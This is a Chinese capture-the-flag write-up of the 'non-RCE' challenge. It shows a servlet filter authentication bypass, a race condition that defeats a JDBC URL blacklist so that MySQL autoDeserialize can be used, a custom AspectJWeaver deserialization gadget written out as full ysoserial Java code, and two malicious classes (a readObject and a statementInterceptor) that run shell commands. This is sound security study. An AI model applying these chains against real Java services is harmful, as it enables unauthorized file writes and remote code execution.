Servlet中的时间竞争及AspectJWeaver反序列化Gadget构造[non-RCE 题解]
前言
今年的D3CTF和蚂蚁一起合作举办,也就是现在的AntCTFxD^3CTF
,算起来也算是从HCTF、D3CTF以及AntCTFxD^3CTF
这个过程都完整参与了一遍。比赛于上周末结束。其中non-RCE这个题目来自于我之前所在的非攻实验室,出题人是orich和幻猫,题目质量还是不错的,因此写了这篇分析。
这个题目主要涉及到的点有三个,分别为:
鉴权绕过
Servlet时间竞争绕过黑名单
AspectJWeaver反序列化Gadget构造
这一篇文章就主要针对这三个点进行分析。
鉴权绕过
在这个题目中设计了几个Filter,这里只说下涉及到的两个:
AntiUrlAttackFilter
LoginFilter
当我们需要访问/admin/*
格式的地址时,会触发LoginFilter要求我们密码,然而密码无从知晓。
而AntiUrlAttackFilter这个过滤器对所有url生效,并且里面进行了对url的处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse res = (HttpServletResponse) servletResponse; String url = req.getRequestURI(); if (...) { ... } else if (url.contains(";" )) { String filteredUrl = url.replaceAll(";" , "" ); req.getRequestDispatcher(filteredUrl).forward(servletRequest, servletResponse); } else { filterChain.doFilter(servletRequest, servletResponse); } }
因此对于/;admin/importData
格式的请求,AntiUrlAttackFilter会对其处理变为/admin/importData
并重新进行路由,鉴权也就被绕过了。
Servlet时间竞争
在该题目中,攻击的入手点在于AdminServlet下的doGet()
,我们需要传入一个jdbc url,服务端会对该jdbc url使用com.mysql.jdbc.Driver发起连接。同时,会对该jdbc url进行黑名单检查,当其中出现%
或autoDeserialize
时则会进行拦截:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { ... String databaseType = req.getParameter("databaseType" ); String jdbcUrl = req.getParameter("jdbcUrl" ); if (!BlackListChecker.check(jdbcUrl)) { System.out.println("detect attacking!" ); resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "The jdbc url contains illegal character!" ); return ; } ... DriverManager.setLoginTimeout(5 ); Class.forName("com.mysql.jdbc.Driver" ); DriverManager.getConnection(jdbcUrl); outputResponse(resp, "ok" ); ... }
在BlackHat2019上有一个关于Mysql反序列化攻击的议题,这种攻击方式需要通过jdbc url设置autoDeserialize=true
以及对应的interceptor用于触发反序列化,具体细节不做阐述。
接着便会遇到一个矛盾:
需要通过设置autoDeserialize=true
来开启反序列化
黑名单不允许autoDeserialize
的出现
此时便可以借助Servlet的时间竞争缺陷进行绕过。
Servlet的生命周期交给容器进行管理,容器在加载Servlet时进行实例化,常见的Tomcat、Jboss、WebLogic这些都是Web容器,而在这个题目中则使用的是Tomcat。Servlet的生命周期通过javax.servlet.Servlet
接口中的init()
、service()
、destory()
进行表示。
当Servlet初始化完成后,便能对相应的请求进行处理。当一个Servlet收到对应的请求时,会调用service()
方法,并将对应的方法和请求参数传递至对应的方法。比如doGet()
、doPost()
。此时需要注意的是,JSP/Servlet容器默认使用单实例多线程的方式处理多个请求,即在客户端第一次请求Servlet时,实例化只会进行一次,当第二个用户请求该Servlet时,则会继续使用这个已实例化的Servlet。
因此尽管每次执行都会发生在不同的线程,但是容器中只有一个Servlet实例,如果Servlet实例内部的某个实例属性的内容会被多个线程访问并修改,就有可能导致时间竞争问题。
再来看变量jdbcUrl
,我们可以发现它并不是实例变量又或是静态变量,那么是不是意味着并不存在时间竞争的问题呢。jdbcUrl
会传入BlackListChecker.check()
,而在这个函数中会通过BlackListChecker.setToBeChecked()
将jdbcUrl
变量的值赋予至实例变量this.toBeChecked
。
因此需要思考的就是,作为Servlet内调用的类,BlackListChecker
是否也会面临时间竞争的问题。答案是肯定的。
由于BlackListChecker
也拥有实例变量并进行了赋值,并且实际进行了实例化,此时它的实例变量会与AdminServlet
的实例变量一起分配至Java堆上,这同样是所有线程共享的。因此当只有一个实例时,不仅是AdminServlet
的实例变量会遇到时间竞争的问题,BlackListChecker
也同样遇到了这个问题。
此时就需要对jdbcUrl
进行时间竞争,使用两个不同的值,一个是不触发黑名单的,一个是触发黑名单的:
1 2 3 GET /;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse&databaseType=mysql&a=§1§ HTTP/1.1 GET /;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse%26statementInterceptors%3dcom.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3dtrue%26user%3dyso_Jdk7u21_touch%20/tmp/aaa&databaseType=mysql&a=§1§ HTTP/1.1
AspectJWeaver反序列化Gadget构造
在二月份的时候,ysoserialize更新了一条新的反序列化Gadget:AspectJWeaver ,从代码里可以看到其构造方式。
在ysoserial中,AspectJWeaver的反序列化Gadget构造中部分是依赖于CommonsCollections的,但是在这个环境中并没有CommonsCollections的依赖,因此需要修改其构造过程。题目提供了一个名为DataMap的类,这个类可以提供构造Gadget的功能,接下来就需要理解ysoserial的构造过程并修改。
AspectJWeaver在ysoserialize的主要调用链如下:
1 2 3 4 5 6 7 8 9 HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
我们可以发现从HashMap.hash()
之后到SimpleCache$StorableCachingMap.put()
之前都是根据CommonsCollections进行构建的,因此需要修改的就是这一部分。从HashMap.hash()
的调用开始,下一级调用为hashCode()
的调用有DataMap$Entry.hashCode()
:
1 2 3 public int hashCode () { return DataMap.hash(this .getKey()) ^ DataMap.hash(this .getValue()); }
接着调用this.getValue()
,这一层调用会进到DataMap.get()
,其中主要有this.values.get()
、this.wrapperMap.get()
、和this.values.put()
,但是get()
无法找到符合条件的函数实现,因此再看put()
,put()
的传参为:
1 this .values.put(key, v);
其中key
来自于DataMap.get(Object key)
,v来自于v = this.wrapperMap.get(key);
,所以可以将this.wrapperMap
构造为一个HashMap用于存储文件内容和文件名,而this.values
则为SimpleCache$StorableCachingMap
,因此可以构造出这一部分:
1 2 3 4 5 6 Constructor aspectjConstructor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Reflections.setAccessible(aspectjConstructor); Object simpleCache = aspectjConstructor.newInstance("." ,12 ); HashMap wrapperMap = new HashMap(); wrapperMap.put(filename,content); DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);
此时整个调用链便已经完整了:
1 2 3 4 5 6 7 8 9 HashSet.readObject() HashMap.put() HashMap.hash() DataMap$Entry.hashcode DataMap$Entry.getValue() DataMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
接着构造DataMap$Entry
,主要是对内部类的实例化时指明Outer Class以及this.key
为文件名。剩余部分则直接照搬ysoserial的部分即可。
完整的构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 package ysoserial.payloads;import clojure.lang.Cons;import org.apache.commons.codec.binary.Base64;import checker.DataMap;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.Serializable;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;@PayloadTest (skip="non RCE" )@SuppressWarnings ({"rawtypes" , "unchecked" })@Dependencies ({"org.aspectj:aspectjweaver:1.9.2" })@Authors ({Authors.MEIZJ})public class AspectJWeaverSingle implements ObjectPayload <Serializable > { public Serializable getObject (final String command) throws Exception { int sep = command.lastIndexOf(';' ); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>" ); } String[] parts = command.split(";" ); String filename = parts[0 ]; byte [] content = Base64.decodeBase64(parts[1 ]); Constructor aspectjConstructor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Reflections.setAccessible(aspectjConstructor); Object simpleCache = aspectjConstructor.newInstance("." ,12 ); HashMap wrapperMap = new HashMap(); wrapperMap.put(filename,content); DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache); Constructor dataMapEntryConstructor = Reflections.getFirstCtor("checker.DataMap$Entry" ); Reflections.setAccessible(dataMapEntryConstructor); Object dataMapEntry = dataMapEntryConstructor.newInstance(dataMap,filename); HashSet map = new HashSet(1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, dataMapEntry); return map; } public static void main (String[] args) throws Exception { args = new String[]{"ahi.txt;YWhpaGloaQ==" }; PayloadRunner.run(AspectJWeaver.class, args); } }
命令执行
在成功写入文件后,需要进行执行命令。这里有两种方法:
反序列化执行命令
interceptor加载 - 来自LFY
反序列化执行命令先通过AspectJWeaver向服务器上写入恶意的类,该类中重新实现一个readObject方法,再通过MySQL的反序列化加载该类,执行readObject实现RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package servlet;import java.io.IOException;import java.io.Serializable;import java.io.ObjectInputStream;public class ant implements Serializable { public String a; public ant () { a = "a" ; } private void writeObject (ObjectInputStream oin) throws IOException, ClassNotFoundException { oin.defaultReadObject(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("touch /tmp/ant-ctf" ); } } package servlet;import java.io.IOException;import java.io.Serializable;import java.io.ObjectInputStream;public class ant implements Serializable { public String a; public ant () { a = "a" ; } private void writeObject (ObjectInputStream oin) throws IOException, ClassNotFoundException { oin.defaultReadObject(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("touch /tmp/ant-ctf" ); } }
另一种是实现一个继承了interceptor接口的恶意类,再通过interceptor自动执行特定函数这个特点进行RCE。此时指定statementInterceptors=servlet.antInterceptor
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package servlet;import com.mysql.jdbc.Connection;import com.mysql.jdbc.ResultSetInternalMethods;import com.mysql.jdbc.Statement;import com.mysql.jdbc.StatementInterceptor;import java.io.IOException;import java.sql.SQLException;import java.util.Properties;public class antInterceptor implements StatementInterceptor { @Override public void init (Connection connection, Properties properties) throws SQLException { } @Override public ResultSetInternalMethods preProcess (String s, Statement statement, Connection connection) throws SQLException { return null ; } @Override public ResultSetInternalMethods postProcess (String s, Statement statement, ResultSetInternalMethods resultSetInternalMethods, Connection connection) throws SQLException { try { Runtime.getRuntime().exec("touch /tmp/ant-ctf2" ); } catch (IOException e) { e.printStackTrace(); } return null ; } @Override public boolean executeTopLevelOnly () { return false ; } @Override public void destroy () { } }